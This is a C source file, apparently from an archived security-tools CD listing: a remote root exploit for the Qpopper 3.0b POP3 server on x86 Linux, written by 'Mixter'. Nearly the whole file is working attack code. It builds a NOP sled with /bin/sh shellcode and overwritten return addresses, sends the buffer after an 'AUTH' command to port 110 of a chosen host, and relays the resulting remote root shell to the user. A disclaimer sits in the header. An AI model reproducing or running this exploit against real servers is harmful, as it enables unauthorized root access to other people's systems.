home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pop3 / q3smash.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  174 lines

  1. /*
  2.  * Qpopper 3.0b remote exploit for x86 Linux (tested on RedHat/2.0.38)
  3.  *
  4.  * Dec 1999 by Mixter <mixter@newyorkoffice.com> / http://1337.tsx.org
  5.  *
  6.  * Exploits pop_msg buffer overflow to spawn a remote root shell.
  7.  * This probably works with the old qpop2 code for bsd, solaris anyone?
  8.  * 
  9.  * 3.0b18 = Offset 1
  10.  *
  11.  * WARNING: YOU ARE USING THIS SOFTWARE ON YOUR OWN RISK. THIS IS A
  12.  * PROOF-OF-CONCEPT PROGRAM AND YOU TAKE FULL RESPONSIBILITY FOR WHAT YOU
  13.  * DO WITH IT! DO NOT ABUSE THIS FOR ILLICIT PURPOSES!
  14.  */
  15.  
  16. #include <stdio.h>
  17. #include <string.h>
  18. #include <unistd.h>
  19. #include <stdlib.h>
  20. #include <sys/types.h>
  21. #include <sys/socket.h>
  22. #include <netinet/in.h>
  23. #include <arpa/inet.h>
  24. #include <netdb.h>
  25. #include <errno.h>
  26.  
  27. #define NOP        0x90
  28. #define LEN        1032
  29. #define CODESTART    880
  30. #define RET        0xbfffd655
  31.  
  32. /* x86 linux shellcode. this can be a simple execve to /bin/sh on all
  33.    systems, but MUST NOT contain the characters 'x17' or 'x0c' because
  34.    that would split the exploit code into separate arg buffers  [2000]*/
  35.  
  36. char *shellcode =
  37.   "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab"
  38.   "\x89\xfa\x31\xc0\xab\xb0\x04\x04\x07\xcd\x80\x31\xc0\x89\xc3\x40\xcd\x80"
  39.   "\xe8\xd9\xff\xff\xff/bin/sh";
  40.  
  41. unsigned long resolve (char *);
  42. void term (int, int);
  43. unsigned long get_sp ();
  44.  
  45. int
  46. main (int argc, char **argv)
  47. {
  48.   char buffer[LEN];
  49.   char *codeptr = shellcode;
  50.   long retaddr = RET;
  51.   int i, s;
  52.   struct sockaddr_in sin;
  53.  
  54.   if (argc < 2)
  55.     {
  56.       printf ("usage: %s <host> [offset]\n", argv[0]);
  57.       printf ("use offset -1 to try local esp\n");
  58.       exit (0);
  59.     }
  60.  
  61.   if (argc > 2)
  62.     {
  63.       if (atoi (argv[2]) == -1)
  64.         {
  65.           /* 8000 = approx. byte offset to qpopper's top of stack
  66.              at the time it prints out the auth error message */
  67.           retaddr = get_sp () - 8000 - LEN;
  68.           printf ("Using local esp as ret address...\n");
  69.         }
  70.       retaddr += atoi (argv[2]);
  71.     }
  72.  
  73.   for (i = 0; i < LEN; i++)
  74.     *(buffer + i) = NOP;
  75.  
  76.   for (i = CODESTART + 2; i < LEN; i += 4)
  77.     *(int *) &buffer[i] = retaddr;
  78.  
  79.   for (i = CODESTART; i < CODESTART + strlen (shellcode); i++)
  80.     *(buffer + i) = *(codeptr++);
  81.  
  82.   buffer[0] = 'A';
  83.   buffer[1] = 'U';
  84.   buffer[2] = 'T';
  85.   buffer[3] = 'H';
  86.   buffer[4] = ' ';
  87.  
  88.   printf ("qpop 3.0 remote root exploit (linux) by Mixter\n");
  89.   printf ("[return address: 0x%lx buffer size: %d code size: %d]\n",
  90.           retaddr, strlen (buffer), strlen (shellcode));
  91.  
  92.   fflush (0);
  93.  
  94.   sin.sin_family = AF_INET;
  95.   sin.sin_port = htons (110);
  96.   sin.sin_addr.s_addr = resolve (argv[1]);
  97.   s = socket (AF_INET, SOCK_STREAM, 0);
  98.  
  99.   if (connect (s, (struct sockaddr *) &sin, sizeof (struct sockaddr)) < 0)
  100.     {
  101.       perror ("connect");
  102.       exit (0);
  103.     }
  104.  
  105.   switch (write (s, buffer, strlen (buffer)))
  106.     {
  107.     case 0:
  108.     case -1:
  109.       fprintf (stderr, "write error: %s\n", strerror (errno));
  110.       break;
  111.     default:
  112.       break;
  113.     }
  114.   write (s, "\n\n", 1);
  115.   term (s, 0);
  116.  
  117.   return 0;
  118. }
  119.  
  120. unsigned long
  121. resolve (char *host)
  122. {
  123.   struct hostent *he;
  124.   struct sockaddr_in tmp;
  125.   if (inet_addr (host) != -1)
  126.     return (inet_addr (host));
  127.   he = gethostbyname (host);
  128.   if (he)
  129.     memcpy ((caddr_t) & tmp.sin_addr.s_addr, he->h_addr, he->h_length);
  130.   else
  131.     {
  132.       perror ("gethostbyname");
  133.       exit (0);
  134.     }
  135.   return (tmp.sin_addr.s_addr);
  136. }
  137.  
  138. unsigned long
  139. get_sp (void)
  140. {
  141.   __asm__ ("movl %esp, %eax");
  142. }
  143.  
  144. void
  145. term (int p, int c)
  146. {
  147.   char buf[LEN];
  148.   fd_set rfds;
  149.   int i;
  150.  
  151.   while (1)
  152.     {
  153.       FD_ZERO (&rfds);
  154.       FD_SET (p, &rfds);
  155.       FD_SET (c, &rfds);
  156.       if (select ((p > c ? p : c) + 1, &rfds, NULL, NULL, NULL) < 1)
  157.         return;
  158.       if (FD_ISSET (c, &rfds))
  159.         {
  160.           if ((i = read (c, buf, sizeof (buf))) < 1)
  161.             exit (0);
  162.           else
  163.             write (p, buf, i);
  164.         }
  165.       if (FD_ISSET (p, &rfds))
  166.         {
  167.           if ((i = read (p, buf, sizeof (buf))) < 1)
  168.             exit (0);
  169.           else
  170.             write (c, buf, i);
  171.         }
  172.     }
  173. }
  174. /*                    www.hack.co.za              [2000]*/